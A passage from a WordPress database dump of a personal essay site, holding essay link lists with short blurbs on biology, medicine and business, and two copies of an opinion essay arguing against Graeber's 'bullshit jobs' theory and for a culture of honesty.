data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2025-07-03 19:20:26','2025-07-03 19:20:26','',22,'https://trevorklee.com/?p=485',0,'revision','',0),
(486,1,'2025-07-03 19:21:12','2025-07-03 19:21:12','<!-- wp:paragraph -->\n<p>There’s been a lot of ink spilled over the late anthropologist David Graeber’s theory of “bullshit jobs”. This theory, if you’re unfamiliar with it, is basically just that some large percentage of jobs in America don’t need to exist and are just make-work.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>David Graeber’s proof of this is mostly just based on the vibes of an underemployed academic, and he includes obviously useful jobs like:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Receptionists, who are crucial to keeping any office functioning and not interrupted by strangers</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Lobbyists, who have taken on much of the technical responsibility for writing America’s laws</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Programmers who fix other people’s code, who aren’t bullshit in any sense</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Corporate compliance officers, who make sure laws are being followed, which seems like a crucial function for a large corporation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Middle management, who are important for any large company that can’t have a flat structure&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, his theory isn’t really worth spilling more ink on. One might even say that the only really bullshit job belongs to the guy who calls other jobs “bullshit”, although he’s provided me with a great intro to this essay, so I wouldn’t go that far. Regardless, I don’t think it’s worth discussing Mr. Graeber<a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-1-147935077\">1</a>&nbsp;as a serious academic. What I would say, though, is that it’s interesting his work struck such a chord with people. As he wrote himself, people from all over the world wrote to him after his essay went viral to express their concern that their jobs were, in fact, bullshit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I find this interesting because it’s obvious that one of two things are possible. Either people know for a fact that their jobs are bullshit, and they don’t have anyone better to express this to than David Graeber (like, say, their boss, who presumably might fire them over this revelation or make them do actual work). Or, people fear that their jobs are bullshit, and preferred to get reassurance from David Graeber than figure out if they actually are.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!5J4m!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb225e978-4a30-4e6a-8d62-30c2bf01dd4a_774x798.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!5J4m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb225e978-4a30-4e6a-8d62-30c2bf01dd4a_774x798.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">I tried to get Claude to help me prompt DallE to make an image that would be evocative without being literal. Also, I asked it to have cats in it. Claude says this image “symbolizes the delicate balance between meaningful work (represented by scientific and engineering elements) and potentially meaningless tasks (the gray cubes and aimless paper-pushing)”.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Either way, it comes down to an issue of honesty. In the first case, people are being dishonest with their bosses or customers. In the second, people are afraid to be honest with themselves. Now, the news that people can be afraid to face or communicate hard or inconvenient truths is probably not that earth shattering to you. However, it is indicative of a cultural problem. These people would quite literally rather waste their one precious life than be honest with themselves or others.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I find interesting is that these people don’t see it that way. Having known quite a few people who are in jobs that they think are bullshit, I’ve found that, universally, they tend to assume that all jobs (at least those they could possibly hold) are bullshit. For them, it’s not worth switching jobs to another job they’d like better because that job, as well, must be bullshit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And this is a learned assumption. These people have learned from some early formative experiences that cooperative human endeavor, the sole deciding factor that lets us live in our utopia of practically unlimited food and water, climate control, and freedom from predators and disease, is bullshit. That’s pretty weird.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think it’s because deciding things are bullshit or to be dishonest is such an energy saver that, comparatively, anyone who enters into that mode has an advantage. They can free-ride on the hard work of others, never facing the hard choices that come with being honest or trying to make meaningful choices in the world. They’re much like, well, say, an anthropologist who comes up with a fun theory, and cherry picks the existing data to support it to sell a book, justifying it by saying that this small dishonesty is worth it to support Marxism and/or anarchism, two causes which&nbsp;<a href=\"https://en.wikipedia.org/wiki/David_Graeber#Activism\">he purports to support</a>&nbsp;by, uh, signing&nbsp;<a href=\"https://www.simonandschuster.com/books/Bullshit-Jobs/David-Graeber/9781501143335\">a lucrative contract with the multibillion publishing conglomerate Simon and Schuster</a>, and then rides off into the sunset with a bunch of money and fame until his unfortunately early death.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given all the incentives that do push one towards dishonesty and treating everything like it’s bullshit, and given the importance of being honest for all the most crucial parts of human society<a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-2-147935077\">2</a>, it strikes me how important inculcating a culture of honesty is in every part of society. From teaching children not to cheat on tests, to showing apprentices not to cut corners, to demanding a high standard of publically ethical and honest behavior from our leaders, especially those in particularly visible high up positions<a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-3-147935077\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And we need to cherish subcultures where honesty is rewarded, especially when it comes at personal cost. Scientists who admit when their experiments fail; engineers who shut down the production line when it’s clear the products have a flaw; startup founders who return their investors’ money when the product doesn’t work. These people, and these cultures, who don’t think that their work is bullshit and who aren’t dishonest with their bosses, their customers, or themselves, they are who drive civilization forwards and make the world better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bullshit grows where we let it and rots if left untreated. It cannot be tolerated and must never be allowed to spread. And we certainly should never let anyone claim that bullshit is already everywhere and there’s no use in fighting it, because that’s the most pernicious bullshit of all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-anchor-1-147935077\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although if you do want a fun takedown, read Byrne Hobart:&nbsp;<a href=\"https://www.thediff.co/archive/bullshit-jobs-is-a-terrible-curiosity-killing-concept/\">“Bullshit Jobs” is a Terrible, Curiosity-Killing Concept (thediff.co)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-anchor-2-147935077\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like building planes or space shuttles, a concept which Boeing is learning the hard way again and again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-anchor-3-147935077\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this seems like political commentary, then, you know, shoe fits and all that.</p>\n<!-- /wp:paragraph -->','Culturing honesty','','publish','closed','closed','','culturing-honesty','','','2025-07-03 19:21:12','2025-07-03 19:21:12','',0,'https://trevorklee.com/?page_id=486',0,'page','',0),
(487,1,'2025-07-03 19:21:12','2025-07-03 19:21:12','<!-- wp:paragraph -->\n<p>There’s been a lot of ink spilled over the late anthropologist David Graeber’s theory of “bullshit jobs”. This theory, if you’re unfamiliar with it, is basically just that some large percentage of jobs in America don’t need to exist and are just make-work.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>David Graeber’s proof of this is mostly just based on the vibes of an underemployed academic, and he includes obviously useful jobs like:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Receptionists, who are crucial to keeping any office functioning and not interrupted by strangers</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Lobbyists, who have taken on much of the technical responsibility for writing America’s laws</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Programmers who fix other people’s code, who aren’t bullshit in any sense</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Corporate compliance officers, who make sure laws are being followed, which seems like a crucial function for a large corporation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Middle management, who are important for any large company that can’t have a flat structure&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, his theory isn’t really worth spilling more ink on. One might even say that the only really bullshit job belongs to the guy who calls other jobs “bullshit”, although he’s provided me with a great intro to this essay, so I wouldn’t go that far. Regardless, I don’t think it’s worth discussing Mr. Graeber<a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-1-147935077\">1</a>&nbsp;as a serious academic. What I would say, though, is that it’s interesting his work struck such a chord with people. As he wrote himself, people from all over the world wrote to him after his essay went viral to express their concern that their jobs were, in fact, bullshit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I find this interesting because it’s obvious that one of two things are possible. Either people know for a fact that their jobs are bullshit, and they don’t have anyone better to express this to than David Graeber (like, say, their boss, who presumably might fire them over this revelation or make them do actual work). Or, people fear that their jobs are bullshit, and preferred to get reassurance from David Graeber than figure out if they actually are.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!5J4m!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb225e978-4a30-4e6a-8d62-30c2bf01dd4a_774x798.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!5J4m!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb225e978-4a30-4e6a-8d62-30c2bf01dd4a_774x798.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">I tried to get Claude to help me prompt DallE to make an image that would be evocative without being literal. Also, I asked it to have cats in it. Claude says this image “symbolizes the delicate balance between meaningful work (represented by scientific and engineering elements) and potentially meaningless tasks (the gray cubes and aimless paper-pushing)”.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Either way, it comes down to an issue of honesty. In the first case, people are being dishonest with their bosses or customers. In the second, people are afraid to be honest with themselves. Now, the news that people can be afraid to face or communicate hard or inconvenient truths is probably not that earth shattering to you. However, it is indicative of a cultural problem. These people would quite literally rather waste their one precious life than be honest with themselves or others.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I find interesting is that these people don’t see it that way. Having known quite a few people who are in jobs that they think are bullshit, I’ve found that, universally, they tend to assume that all jobs (at least those they could possibly hold) are bullshit. For them, it’s not worth switching jobs to another job they’d like better because that job, as well, must be bullshit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And this is a learned assumption. These people have learned from some early formative experiences that cooperative human endeavor, the sole deciding factor that lets us live in our utopia of practically unlimited food and water, climate control, and freedom from predators and disease, is bullshit. That’s pretty weird.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think it’s because deciding things are bullshit or to be dishonest is such an energy saver that, comparatively, anyone who enters into that mode has an advantage. They can free-ride on the hard work of others, never facing the hard choices that come with being honest or trying to make meaningful choices in the world. They’re much like, well, say, an anthropologist who comes up with a fun theory, and cherry picks the existing data to support it to sell a book, justifying it by saying that this small dishonesty is worth it to support Marxism and/or anarchism, two causes which&nbsp;<a href=\"https://en.wikipedia.org/wiki/David_Graeber#Activism\">he purports to support</a>&nbsp;by, uh, signing&nbsp;<a href=\"https://www.simonandschuster.com/books/Bullshit-Jobs/David-Graeber/9781501143335\">a lucrative contract with the multibillion publishing conglomerate Simon and Schuster</a>, and then rides off into the sunset with a bunch of money and fame until his unfortunately early death.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given all the incentives that do push one towards dishonesty and treating everything like it’s bullshit, and given the importance of being honest for all the most crucial parts of human society<a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-2-147935077\">2</a>, it strikes me how important inculcating a culture of honesty is in every part of society. From teaching children not to cheat on tests, to showing apprentices not to cut corners, to demanding a high standard of publically ethical and honest behavior from our leaders, especially those in particularly visible high up positions<a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-3-147935077\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And we need to cherish subcultures where honesty is rewarded, especially when it comes at personal cost. Scientists who admit when their experiments fail; engineers who shut down the production line when it’s clear the products have a flaw; startup founders who return their investors’ money when the product doesn’t work. These people, and these cultures, who don’t think that their work is bullshit and who aren’t dishonest with their bosses, their customers, or themselves, they are who drive civilization forwards and make the world better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bullshit grows where we let it and rots if left untreated. It cannot be tolerated and must never be allowed to spread. And we certainly should never let anyone claim that bullshit is already everywhere and there’s no use in fighting it, because that’s the most pernicious bullshit of all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-anchor-1-147935077\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although if you do want a fun takedown, read Byrne Hobart:&nbsp;<a href=\"https://www.thediff.co/archive/bullshit-jobs-is-a-terrible-curiosity-killing-concept/\">“Bullshit Jobs” is a Terrible, Curiosity-Killing Concept (thediff.co)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-anchor-2-147935077\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like building planes or space shuttles, a concept which Boeing is learning the hard way again and again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/culturing-honesty#footnote-anchor-3-147935077\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this seems like political commentary, then, you know, shoe fits and all that.</p>\n<!-- /wp:paragraph -->','Culturing honesty','','inherit','closed','closed','','486-revision-v1','','','2025-07-03 19:21:12','2025-07-03 19:21:12','',486,'https://trevorklee.com/?p=487',0,'revision','',0),
(488,1,'2025-07-03 19:21:41','2025-07-03 19:21:41','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-lactate-as-important-as-glucose-for-metabolism/\">Is lactate as important as glucose for metabolism?</a> - The evidence for and against the lactate shuttle hypothesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-do-waterdwelling-turtles-survive-the-winter/\">How do waterdwelling turtles survive the winter?</a> - Turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- 